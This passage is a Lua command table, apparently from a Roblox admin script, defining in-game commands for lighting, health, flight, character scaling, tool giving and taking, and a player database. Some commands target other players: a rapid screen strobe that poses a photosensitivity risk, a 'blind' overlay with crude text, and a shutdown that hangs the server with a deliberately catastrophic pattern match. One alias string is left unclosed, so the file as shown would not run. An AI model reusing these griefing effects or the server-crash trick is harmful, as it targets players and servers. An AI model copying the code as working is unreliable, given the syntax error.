  6642.  
  6643. [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6644. local Time = Arguments[1]
  6645. if Time == "day" or Time == "noon" then Time = "12" end
  6646. if Time == "night" or Time == "midnight" then Time = "0" end
  6647. if Time == "dawn" or Time == "morning" then Time = "6:15" end
  6648. if Time == "dusk" or Time == "evening" then Time = "17:45" end
  6649. if Time == "afternoon" then Time = "15:30" end
  6650. ypcall(function() Server.Lighting.TimeOfDay = Time end)
  6651. end};
  6652.  
  6653. [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
  6654. local Players = STRING:Scan(Arguments[1], Speaker)
  6655. for _,Player in pairs(Players) do
  6656. MARKET:PromptPurchase(Player, Arguments[2], Speaker)
  6657. end
  6658. end};
  6659.  
  6660. [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6661. local AbuseMode = false
  6662. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  6663. local Players = STRING:Scan(Arguments[1], Speaker)
  6664. for _,Player in pairs(Players) do
  6665. CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  6666. end
  6667. end};
  6668.  
  6669. [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
  6670. local Players = STRING:Scan(Arguments[1], Speaker)
  6671. for _,Player in pairs(Players) do
  6672. CORE:Insert(125013769, Player.Backpack, true)
  6673. end
  6674. end};
  6675.  
  6676. [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6677. local Players = STRING:Scan(Arguments[1], Speaker)
  6678. for _,Player in pairs(Players) do
  6679. if Player.Character then
  6680. CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
  6681. end
  6682. end
  6683. end};
  6684.  
  6685. [{"greentored"}] = {"", "Flashes lighting from green to red.", 0, "Member", false, function(Speaker, Rank, Arguments)
  6686. CORE:ResetLighting()
  6687. repeat
  6688. Server.Lighting.Ambient = Color3.new(0,1,0)
  6689. Server.Lighting.FogColor = Color3.new(0,1,0)
  6690. Server.Lighting.Brightness = 1
  6691. Server.Lighting.TimeOfDay = 14
  6692. wait(0.1)
  6693. Server.Lighting.Ambient = Color3.new(1,0,0)
  6694. Server.Lighting.FogColor = Color3.new(1,0,0)
  6695. Server.Lighting.Brightness = 0
  6696. Server.Lighting.TimeOfDay = 0
  6697. wait(0.1)
  6698. until ModLighting == false
  6699. end};
  6700.  
  6701. [{"disco", "party", "danceparty}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
  6702. CORE:ResetLighting()
  6703. repeat
  6704. local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  6705. Server.Lighting.Ambient = Color
  6706. Server.Lighting.FogColor = Color
  6707. Server.Lighting.TimeOfDay = 0
  6708. Server.Lighting.FogEnd = 500
  6709. wait(0.1)
  6710. until ModLighting == false
  6711. end};
  6712.  
  6713. [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
  6714. CORE:FixLighting()
  6715. end};
  6716.  
  6717. [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
  6718. local Players = STRING:Scan(Arguments[1], Speaker)
  6719. for _,Player in pairs(Players) do
  6720. if Player:FindFirstChild("PlayerGui") then
  6721. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6722. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6723. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
  6724. coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
  6725. end
  6726. end
  6727. end};
  6728.  
  6729. [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
  6730. local Players = STRING:Scan(Arguments[1], Speaker)
  6731. for _,Player in pairs(Players) do
  6732. if Player:FindFirstChild("PlayerGui") then
  6733. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6734. end
  6735. end
  6736. end};
  6737.  
  6738. [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
  6739. local Players = STRING:Scan(Arguments[1], Speaker)
  6740. for _,Player in pairs(Players) do
  6741. if Player:FindFirstChild("PlayerGui") then
  6742. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6743. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6744. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
  6745. local Text = Instance.new("TextBox", Frame) Text.Name = "Yourded" Text.Size = UDim2.new(1,0,1,0) Text.Text = "Yur fuked."
  6746. end
  6747. end
  6748. end};
  6749.  
  6750. [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  6751. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
  6752. if Suc then
  6753. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
  6754. else
  6755. Server.TS:Teleport(game.PlaceId, Speaker)
  6756. end
  6757. end};
  6758.  
  6759. [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6760. GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
  6761. end};
  6762.  
  6763. [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6764. local NewAbuse = Arguments[1]
  6765. if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6766. NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6767. end
  6768.  
  6769. local Match = false
  6770. for _,AbuseCmd in pairs(Settings.AbuseList) do
  6771. if string.lower(AbuseCmd) == string.lower(NewAbuse) then
  6772. Match = true
  6773. break
  6774. end
  6775. end
  6776. if not Match then
  6777. table.insert(Settings.AbuseList, NewAbuse)
  6778. GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
  6779. else
  6780. GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
  6781. end
  6782. CORE:SetAbuseCommands()
  6783. end};
  6784.  
  6785. [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6786. local NewAbuse = Arguments[1]
  6787. if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6788. NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6789. end
  6790.  
  6791. local Removed = false
  6792. for Num,AbuseCmd in pairs(Settings.AbuseList) do
  6793. if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
  6794. Removed = true
  6795. table.remove(Settings.AbuseList, Num)
  6796. end
  6797. end
  6798. if Removed then
  6799. GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
  6800. else
  6801. GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
  6802. end
  6803. CORE:SetAbuseCommands()
  6804. end};
  6805.  
  6806. [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
  6807. local Players = STRING:Scan(Arguments[1], Speaker)
  6808. for _,Player in pairs(Players) do
  6809. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6810. Player.Character.Humanoid.MaxHealth = math.huge
  6811. Player.Character.Humanoid.Health = math.huge
  6812. end
  6813. end
  6814. end};
  6815.  
  6816. [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6817. local Players = STRING:Scan(Arguments[1], Speaker)
  6818. for _,Player in pairs(Players) do
  6819. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6820. if Player.Character.Humanoid.MaxHealth == math.huge then
  6821. Player.Character.Humanoid.MaxHealth = 100
  6822. Player.Character.Humanoid.Health = 100
  6823. else
  6824. Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
  6825. end
  6826. end
  6827. end
  6828. end};
  6829.  
  6830. [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
  6831. local Players = STRING:Scan(Arguments[1], Speaker)
  6832. for _,Player in pairs(Players) do
  6833. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6834. local Char = Player.Character
  6835. repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
  6836. end
  6837. end
  6838. end};
  6839.  
  6840. [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6841. if tonumber(Arguments[2]) then
  6842. local Players = STRING:Scan(Arguments[1], Speaker)
  6843. for _,Player in pairs(Players) do
  6844. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6845. Player.Character.Humanoid.Health = Arguments[2]
  6846. end
  6847. end
  6848. end
  6849. end};
  6850.  
  6851. [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6852. if tonumber(Arguments[2]) then
  6853. local Players = STRING:Scan(Arguments[1], Speaker)
  6854. for _,Player in pairs(Players) do
  6855. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6856. local Speed = tonumber(Arguments[2])
  6857. if Speed then
  6858. if Rank == "Member" then
  6859. if Speed > 1000 then Speed = 1000
  6860. elseif Speed < -1000 then Speed = -1000 end
  6861. end
  6862. Player.Character.Humanoid.WalkSpeed = Speed
  6863. end
  6864. end
  6865. end
  6866. end
  6867. end};
  6868.  
  6869. [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
  6870. if tonumber(Arguments[2]) then
  6871. local Players = STRING:Scan(Arguments[1], Speaker)
  6872. for _,Player in pairs(Players) do
  6873. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6874. Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
  6875. end
  6876. end
  6877. end
  6878. end};
  6879.  
  6880. [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
  6881. local Players = STRING:Scan(Arguments[1], Speaker)
  6882. for _,Player in pairs(Players) do
  6883. CORE:Fly(Player, 10000)
  6884. end
  6885. end};
  6886.  
  6887. [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
  6888. local Players = STRING:Scan(Arguments[1], Speaker)
  6889. for _,Player in pairs(Players) do
  6890. CORE:Fly(Player, 1000000)
  6891. end
  6892. end};
  6893.  
  6894. [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  6895. local Players = STRING:Scan(Arguments[1], Speaker)
  6896. for _,Player in pairs(Players) do
  6897. if Player.Character then
  6898. if Player.Character:FindFirstChild("StopMMLFly") then
  6899. Player.Character.StopMMLFly:InvokeClient(Player)
  6900. end
  6901. end
  6902. end
  6903. end};
  6904.  
  6905. [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6906. ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
  6907. GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
  6908. end};
  6909.  
  6910. [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6911. local Players = STRING:Scan(Arguments[1], Speaker)
  6912. for _,Player in pairs(Players) do
  6913. CORE:GiveTools(Player, Arguments[2])
  6914. end
  6915. end};
  6916.  
  6917. [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
  6918. local List = {}
  6919. for _,Region in pairs(ToolRegions) do
  6920. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  6921. table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
  6922. end)
  6923. end
  6924.  
  6925. GUI:ListGui(Speaker, "Tool list", List, 73589272)
  6926. end};
  6927.  
  6928. [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
  6929. local Players = STRING:Scan(Arguments[1], Speaker)
  6930. for _,Player in pairs(Players) do
  6931. CORE:GiveTools(Player, "btools")
  6932. end
  6933. end};
  6934.  
  6935. [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6936. REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
  6937. for _,Player in pairs(Server.Players:GetPlayers()) do
  6938. Player:Kick()
  6939. end
  6940. Server.Workspace:ClearAllChildren()
  6941. string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
  6942. end};
  6943.  
  6944. [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6945. local Players = STRING:Scan(Arguments[1], Speaker)
  6946. for _,Player in pairs(Players) do
  6947. CORE:Scale(Player, Arguments[2])
  6948. end
  6949. end};
  6950.  
  6951. [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
  6952. local Players = STRING:Scan(Arguments[1], Speaker)
  6953. for _,Player in pairs(Players) do
  6954. CORE:Scale(Player, 50)
  6955. end
  6956. end};
  6957.  
  6958. [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
  6959. local Players = STRING:Scan(Arguments[1], Speaker)
  6960. for _,Player in pairs(Players) do
  6961. CORE:Scale(Player, 70)
  6962. end
  6963. end, Hidden = true};
  6964.  
  6965. [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
  6966. local Players = STRING:Scan(Arguments[1], Speaker)
  6967. for _,Player in pairs(Players) do
  6968. CORE:Scale(Player, 500)
  6969. end
  6970. end};
  6971.  
  6972. [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
  6973. local Players = STRING:Scan(Arguments[1], Speaker)
  6974. for _,Player in pairs(Players) do
  6975. if Player.Character then
  6976. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6977. Obj.Reflectance = 0.5
  6978. Obj.BrickColor = BrickColor.new("New Yeller")
  6979. end)
  6980. end
  6981. end
  6982. end};
  6983.  
  6984. [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
  6985. local Players = STRING:Scan(Arguments[1], Speaker)
  6986. for _,Player in pairs(Players) do
  6987. if Player.Character then
  6988. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6989. Obj.Reflectance = 0.5
  6990. end)
  6991. end
  6992. end
  6993. end};
  6994.  
  6995. [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
  6996. local Players = STRING:Scan(Arguments[1], Speaker)
  6997. for _,Player in pairs(Players) do
  6998. if Player.Character then
  6999. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  7000. Obj.Transparency = 0.5
  7001. Obj.Reflectance = 0
  7002. Obj.BrickColor = BrickColor.new("Institutional white")
  7003. end)
  7004. CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
  7005. Obj.Transparency = 0.5
  7006. end)
  7007. end
  7008. end
  7009. end};
  7010.  
  7011. [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
  7012. local Players = STRING:Scan(Arguments[1], Speaker)
  7013. for _,Player in pairs(Players) do
  7014. if Player.Character then
  7015. for _,Obj in pairs(Player.Character:GetChildren()) do
  7016. local Valid = false
  7017. for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  7018. if Valid == true then Obj:Destroy() end
  7019. end
  7020. end
  7021. end
  7022. end};
  7023.  
  7024. [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
  7025. local Players = STRING:Scan(Arguments[1], Speaker)
  7026. for _,Player in pairs(Players) do
  7027. if Player.Character then
  7028. for _,Obj in pairs(Player.Character:GetChildren()) do
  7029. local Valid = false
  7030. for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
  7031. if Valid == true then Obj:Destroy() end
  7032. end
  7033. end
  7034. end
  7035. end};
  7036.  
  7037. [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
  7038. local Players = STRING:Scan(Arguments[1], Speaker)
  7039. for _,Player in pairs(Players) do
  7040. if Player.Character then
  7041. for _,Obj in pairs(Player.Character:GetChildren()) do
  7042. local Valid = false
  7043. for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  7044. if Valid == true then Obj:Destroy() end
  7045. end
  7046. end
  7047. end
  7048. end};
  7049.  
  7050. [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
  7051. local Players = STRING:Scan(Arguments[1], Speaker)
  7052. for _,Player in pairs(Players) do
  7053. if Player.Character then
  7054. for _,Obj in pairs(Player.Character:GetChildren()) do
  7055. if Obj:IsA("Accoutrement") then
  7056. Obj:Destroy()
  7057. end
  7058. end
  7059. end
  7060. end
  7061. end};
  7062.  
  7063. [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
  7064. local Players = STRING:Scan(Arguments[1], Speaker)
  7065. for _,Player in pairs(Players) do
  7066. Player:ClearCharacterAppearance()
  7067. end
  7068. end};
  7069.  
  7070. [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  7071. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  7072. local TmpPlayers = {}
  7073. local Output = {}
  7074. for _,Data in pairs(Players) do
  7075. table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
  7076. end
  7077. GUI:ListGui(Speaker, "Player Database", Output, 120563622)
  7078. end};
  7079.  
  7080. [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7081. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  7082. GUI:SendHint(Speaker, "Player Database cleared", 5)
  7083. end};
  7084.  
  7085. [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
  7086. local Players = STRING:Scan(Arguments[1], Speaker)
  7087. for _,Player in pairs(Players) do
  7088. GUI:FakeHack(Player)
  7089. end
  7090. end};
  7091.  
  7092. [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  7093. local Players = STRING:Scan(Arguments[1], Speaker)
  7094. for _,Player in pairs(Players) do
  7095. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7096. for _,Object in pairs(Player.Backpack:GetChildren()) do
  7097. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7098. local Clone = Object:Clone()
  7099. Clone.Parent = Speaker.Backpack
  7100. end
  7101. end
  7102. end
  7103. end
  7104. end};
  7105.  
  7106. [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  7107. local Players = STRING:Scan(Arguments[1], Speaker)
  7108. for _,Player in pairs(Players) do
  7109. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7110. for _,Object in pairs(Player.Backpack:GetChildren()) do
  7111. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7112. Object.Parent = Speaker.Backpack
  7113. end
  7114. end
  7115. end
  7116. end
  7117. end};
  7118.  
  7119. [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7120. local Players = STRING:Scan(Arguments[1], Speaker)
  7121. for _,Player in pairs(Players) do
  7122. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7123. for _,Object in pairs(Speaker.Backpack:GetChildren()) do
  7124. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7125. local Clone = Object:Clone()
  7126. Clone.Parent = Player.Backpack
  7127. end
  7128. end
  7129. end
  7130. end
  7131. end};
  7132.  
  7133. [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
  7134. local Players = STRING:Scan(Arguments[1], Speaker)
  7135. for _,Player in pairs(Players) do
  7136. if Player:FindFirstChild("Backpack") then
  7137. Player.Backpack:ClearAllChildren()
  7138. end
  7139. if Player.Character ~= nil then
  7140. for _,Obj in pairs(Player.Character:GetChildren()) do
  7141. if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
  7142. Obj:Destroy()
  7143. end
  7144. end
  7145. end
  7146. end
  7147. end};
  7148.  
  7149. [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
  7150. local Players = STRING:Scan(Arguments[1], Speaker)
  7151. for _,Player in pairs(Players) do
  7152. if Player.Character then
  7153. if Player.Character:FindFirstChild("Head") then
  7154. if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
  7155. coroutine.wrap(function()
  7156. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  7157. local OldFace = Player.Character.Head.face.Texture
  7158. Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
  7159. Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
  7160. Player.Character.Head.face.Texture = "rbxassetid://24067663"
  7161. local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
  7162. Sound:Play()
  7163. coroutine.wrap(function() for i = 1,100 do wait()
  7164. local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
  7165. coroutine.wrap(function() wait(3) Part:Destroy() end)()
  7166. end
  7167. Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
  7168. end end
  7169. end)()
  7170. end
  7171. end
  7172. end
  7173. end
  7174. end};
  7175.  
  7176. [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
  7177. local Players = STRING:Scan(Arguments[1], Speaker)
  7178. for _,Player in pairs(Players) do
  7179. if Player.Character then
  7180. if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
  7181. coroutine.wrap(function()
  7182. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  7183. local OldFace = Player.Character.Head.face.Texture
  7184. local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
  7185. local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
  7186. local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
  7187. Player.Character.Head.face.Texture = "rbxassetid://28118994"
  7188. local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
  7189. Sound:Play()
  7190. wait(1)
  7191. Smoke.Enabled = false
  7192. wait(1)
  7193. Fart:Destroy()
  7194. Fart:Destroy()
  7195. Player.Character.Head.face.Texture = OldFace
  7196. end end
  7197. end)()
  7198. end
  7199. end
  7200. end
  7201. end};
  7202.  
  7203. [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
  7204. local Players = STRING:Scan(Arguments[1], Speaker)
  7205. for _,Player in pairs(Players) do
  7206. if Player:FindFirstChild("Backpack") then
  7207. CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
  7208. end
  7209. end
  7210. end};
  7211.  
  7212. [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7213. local Players = STRING:Scan(Arguments[1], Speaker)
  7214. for _,Player in pairs(Players) do
  7215. if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
  7216. Player.Character.MMLGraffiti:ClearAllChildren()
  7217. end
  7218. end
  7219. end};
  7220.  
  7221. [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
  7222. local Players = STRING:Scan(Arguments[1], Speaker)
  7223. for _,Player in pairs(Players) do
  7224. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7225. local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
  7226. Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
  7227. end
  7228. end
  7229. end};
  7230.  
  7231. [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
  7232. local Players = STRING:Scan(Arguments[1], Speaker)
  7233. for _,Player in pairs(Players) do
  7234. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7235. local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
  7236. Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
  7237. end
  7238. end
  7239. end};
  7240.  
  7241. [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
  7242. local Players = STRING:Scan(Arguments[1], Speaker)
  7243. for _,Player in pairs(Players) do
  7244. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7245. local Lights = {}
  7246. for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
  7247. if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
  7248. table.insert(Lights, Obj)
  7249. end
  7250. end
  7251. for _,Light in pairs(Lights) do
  7252. coroutine.wrap(function()
  7253. for i = 1,20 do
  7254. Light.Brightness = Light.Brightness/5
  7255. wait()
  7256. end
  7257. Light:Destroy()
  7258. end)()
  7259. end
  7260. end
  7261. end
  7262. end};
  7263.  
  7264. [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
